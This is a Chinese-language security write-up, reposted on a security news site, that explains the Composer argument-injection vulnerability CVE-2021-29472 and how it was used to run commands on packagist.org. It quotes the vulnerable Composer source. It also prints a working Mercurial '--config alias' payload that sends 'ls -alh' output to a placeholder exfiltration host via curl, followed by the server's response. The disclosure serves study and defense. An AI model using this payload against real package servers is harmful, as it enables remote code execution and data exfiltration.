PHP Composer命令注入漏洞详情及利用方式

admin 2025年2月15日21:53:10评论11 views字数 5052阅读16分50秒阅读模式

转自:SecTr安全团队

PHP Composer命令注入漏洞详情及利用方式

概述

Composer是PHP社区的依赖项管理器,它简化了安装,更新和使用第三方程序包的过程。Composer使用Packagist在线服务来确定正确的软件包下载供应链。据估计,Packagist基础设施每月可处理约14亿次下载请求。
研究人员在在Composer源代码中发现的一个高危漏洞(CVE-2021-29472),该漏洞源于composer.json根文件对存储库的URL未正确清理,从而允许攻击者在Packagist.org服务器上执行任意系统命令并建立后门。

技术细节

当系统要求下载软件包时,Composer将首先查询Packagist以获取其元数据。该元数据包含两个字段,source字段指向开发存储库,而dist字段指向预先构建的档案。从存储库下载代码时,Composer将使用外部系统命令来避免重新实现特定于每个版本控制软件(VCS)的逻辑。为此,其使用ProcessExecutor封装程序执行此类调用。
composer/src/Composer/Util/ProcessExecutor.php
use SymfonyComponentProcessProcess;// [...]class ProcessExecutor{    // [...]    public function execute($command, &$output = null, $cwd = null){        if (func_num_args() > 1) {            return $this->doExecute($command, $cwd, false, $output);        }        return $this->doExecute($command, $cwd, false);    }    // [...]    private function doExecute($command, $cwd, $tty, &$output = null){        // [...]        if (method_exists('SymfonyComponentProcessProcess''fromShellCommandline')) {            // [1]            $process = Process::fromShellCommandline($command, $cwd, nullnullstatic::getTimeout());        } else {            // [2]            $process = new Process($command, $cwd, nullnullstatic::getTimeout());        }        if (!Platform::isWindows() && $tty) {            try {                $process->setTty(true);            } catch (RuntimeException $e) {                // ignore TTY enabling errors            }        }        $callback = is_callable($output) ? $output : array($this'outputHandler');        $process->run($callback);
注释[1]注释[2]处,可以看到$command参数是由SymfonyComponentProcessProcess在shell中执行的。大多数ProcessExecutor调用均在VCS驱动器中执行,该驱动器负责对远程和本地存储库进行任意操作(克隆、提取信息等),如在Git驱动器中:
composer/src/Composer/Repository/Vcs/GitDriver.php
public static function supports(IOInterface $io, Config $config, $url, $deep = false){    if (preg_match('#(^git://|.git/?$|git(?:olite)?@|//git.|//github.com/)#i', $url)) {        return true;    }    // [...]    try {        $gitUtil->runCommand(function ($url) {            return 'git ls-remote --heads ' . ProcessExecutor::escape($url); // [1]        }, $url, sys_get_temp_dir());    } catch (RuntimeException $e) {        return false;    }
虽然使用ProcessExecutor:: escape()$url参数进行转义,以防止shell对子命令$(...)`...`的求值,但没有什么会阻止用户提供以--破折号开头,并在最终命令后附加额外的参数的值。
这种参数注入漏洞,存在于用户控制的数据已正确转义,但连接到系统命令的驱动器中:

composer/src/Composer/Repository/Vcs/SvnDriver.php

public static function supports(IOInterface $io, Config $config, $url, $deep = false){    $url = self::normalizeUrl($url);    if (preg_match('#(^svn://|^svn+ssh://|svn.)#i', $url)) {        return true;    }    // [...]    $process = new ProcessExecutor($io);    $exit = $process->execute(        "svn info --non-interactive ".ProcessExecutor::escape($url),        $ignoredOutput    );

composer/src/Composer/Repository/Vcs/HgDriver.php

public static function supports(IOInterface $io, Config $config, $url, $deep = false){    if (preg_match('#(^(?:https?|ssh)://(?:[^@]+@)?bitbucket.org|https://(?:.*?).kilnhg.com)#i', $url)) {        return true;    }    // [...]    $process = new ProcessExecutor($io);    $exit = $process->execute(sprintf('hg identify %s', ProcessExecutor::escape($url)), $ignored);    return $exit === 0;}

packagist.org入侵

Packagist.org将依靠composer的API以在创建过程中获取软件包,从而支持各种VCS,例如Git、Subversion、Mercurial等。如packagist/src/Entity/Package.php所示,它将执行以下操作:

packagist/src/Entity/Package.php

$io = new NullIO();$config = Factory::createConfig();$io->loadConfiguration($config);$httpDownloader = new HttpDownloader($io, $config);$repository = new VcsRepository(['url' => $this->repository], $io, $config, $httpDownloader); // [1]$driver = $this->vcsDriver = $repository->getDriver(); // [2]if (!$driver) {    return;}$information = $driver->getComposerInformation($driver->getRootIdentifier());if (!isset($information['name'])) {    return;}if (null === $this->getName()) {    $this->setName(trim($information['name']));}

注释[1]处的VcsRepository()类来自Composer,注释[2]处调用的getDrive()函数将触发对以下VCS驱动器的support()initialize()方法的调用:

  • GitHubDriver

  • GitLabDriver

  • GitBitbucketDriver

  • GitDriver

  • HgBitbucketDriver

  • HgDriver

  • PerforceDriver

  • FossilDriver

  • SvnDriver

漏洞利用

研究人员在阅读Mercurial客户端(hg)使用手册时,注意到其存在--config标志。该标志允许我们在执行任何操作之前将新的配置指令加载到客户端。客户端支持别名设置,并具有以下描述:
可以使用与现有命令相同的名称来创建别名,然后覆盖原始定义。别名可以以感叹号(!)开头,以使其成为Shell别名。Shell别名与Shell一起执行,可让您运行任意命令。例如,echo = !echo $@
Shell别名与Shell一起执行,可让您运行任意命令。
通过以上描述,我们可以通过将命令标识别名添加到我们选择的shell命令中,使hg执行注入的命令,而不是查找远程存储库。最终的有效载荷如下所示:
-config=alias.identify=!curl http://exfiltration-host.tld --data “$(ls -alh)”
packagist.org上使用此URL提交新程序包后,研究人员成功获得命令执行,AWS主机返回的HTTP请求如下所示:
total 120K drwxrwxr-x  9 composer composer 4.0K Apr 21 23:19 . dr-xr-xr-x 15 composer composer 4.0K Apr 20 07:38 .. -r--r--r--  1 composer composer 8.7K Apr 20 07:38 .htaccess -r--r--r--  1 composer composer 1.3K Apr 20 07:38 app.php -r--r--r--  1 composer composer 8.2K Apr 20 07:38 apple-touch-icon-precomposed.png -r--r--r--  1 composer composer 8.2K Apr 20 07:38 apple-touch-icon.png dr-xr-xr-x  3 composer composer 4.0K Jan 13 14:35 bundles dr-xr-xr-x  4 composer composer 4.0K Apr 20 07:38 css [...] lrwxrwxrwx  1 composer composer   15 Aug 13  2020 packages.json -> p/packages.json lrwxrwxrwx  1 composer composer   18 Aug 13  2020 packages.json.gz -> p/packages.json.gz -r--r--r--  1 composer composer  106 Apr 20 07:38 robots.txt -r--r--r--  1 composer composer  798 Apr 20 07:38 search.osd dr-xr-xr-x  2 composer composer 4.0K Apr 20 07:38 static-error -r--r--r--  1 composer composer 8.8K Apr 20 07:38 touch-icon-192x192.png

原文始发于微信公众号(橘猫学安全):PHP Composer命令注入漏洞详情及利用方式

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日21:53:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP Composer命令注入漏洞详情及利用方式https://cn-sec.com/archives/1054390.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息